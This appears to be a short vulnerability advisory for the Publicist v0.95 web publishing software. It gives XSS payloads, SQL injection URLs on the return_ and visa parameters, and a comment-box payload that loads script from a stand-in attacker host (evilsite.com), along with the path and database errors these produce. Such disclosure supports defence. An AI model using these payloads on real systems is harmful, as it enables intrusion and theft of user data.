Publicist v0.95 - XSS And Full Path Errors

[luny@xxxxxxxxxxxxxxx]

Publicist v0.95 

Homepage:
http://publicist.kau.se/ 

Description:
Publicist is a free web server software, created for web papers, that allows 
groups of people to write and publish together on the web (i.e. schools or 
single classes, clubs, or other groups who wish to express themselves). 

-------------------------------------- 

Exploits & Vulnerabilities: 

Full path and SQL Query errors: 

Type the following in login box: [BODY ONLOAD=alert('XSS')]
and it produces: 

1064: You have an error in your SQL syntax near 'XSS')>'' at line 1 Warning: 
mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 
/var/www/html.example. com/left.php on line 63 

SQL injection on return variable: 
http://www.example.com/info.php?id=1147443203&return_=3' 

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result 
resource in /var/www/html.publicist. kau.se/count.php on line 6 Unable to 
process query: You have an error in your SQL syntax near 
''/info.php?id=1147443203&return_=3'', count=1' at line 1 

SQL Injection on visa variable: 
http://www.example.com/hitlist_editorial_public_info.php?visa=dan.akerlund' 

Warning: mysql_numrows(): supplied argument is not a valid MySQL result 
resource in /var/www/examplesite.com/ hitlist_editorial_public_info.php on line 
73 

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result 
resource in /var/www/examplesite.com /hitlist_editorial_public_info.php on line 
74 



Submiting html tags in the comment boxes produces this SQL queue error: 

1064: You have an error in your SQL syntax near 'evilcode'))>', c_show = '1', 
c_time = '1' at line 7 



XSS Vulnerability: 

An XSS attack is possible by entering in the comment box some html code like 
this: 

[IMG SRC=javascript:window.location('http://www.evilsite.com/evilcode.js')] 

It should also be noted that calling the files c_getMsg.php, c_getUser.php, 
count.php, display full path errors and contain mysql connect info: 

Example of the above errors: 

Warning: mysql_connect(): Access denied for user: 'example@localhost' (Using 
password: YES) in /var/www/html.example.com/c_getUser.php on line 2